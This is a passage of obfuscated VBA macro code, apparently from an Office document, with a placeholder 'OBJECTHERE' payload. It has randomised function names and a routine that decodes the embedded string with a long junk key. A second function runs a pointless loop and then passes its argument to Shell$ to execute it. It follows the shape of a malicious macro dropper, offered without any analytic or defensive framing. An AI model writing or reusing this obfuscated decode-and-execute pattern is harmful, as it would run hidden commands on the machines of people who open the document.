VWSWKMPYtattOHpeXW = StrConv(uiWcnTZdiGCfgPfhaZq, vbUnicode)
End Function



Attribute VB_Name = "ZhjKqcXuixfG"
Attribute VB_Base = "0{25B0666A-513C-4B8D-AD67-D9D7BE1B3474}{36B4921E-74FE-4F85-A60F-0DC3227089BA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Function edIfCsfPNNFA() As String
edIfCsfPNNFA = VWSWKMPYtattOHpeXW(IMkIsXtByMF("OBJECTHERE"), "dfsajkl#@R(*T$@(@#(WGE))))_)$T@(T$(T$(GO(WTGIOIRFGESKOPPWEOPQWRPWE)#R(T$@WGIWREA(@(I#TIKGDSJZKMVX<<DFVSAJMVDNCXVJZJVSDIAE(F*E#$TIEGIWRJKFJSDKEFIWOFEW(@#*RIWEIJSDFGUJWUWEUJDSJUJSDHFSDNXCJNHSDFJH")
End Function
Public Function RdFRwvoLGoM(VaUcxGBxDOUdNjSrQE As String) As Long
Dim JcWKbtVAGWOfao, svzUIGieaCntjRPi As Integer
For svzUIGieaCntjRPi = 0 To 9
JcWKbtVAGWOfao = JcWKbtVAGWOfao + svzUIGieaCntjRPi
Next svzUIGieaCntjRPi
Shell$ VaUcxGBxDOUdNjSrQE
End Function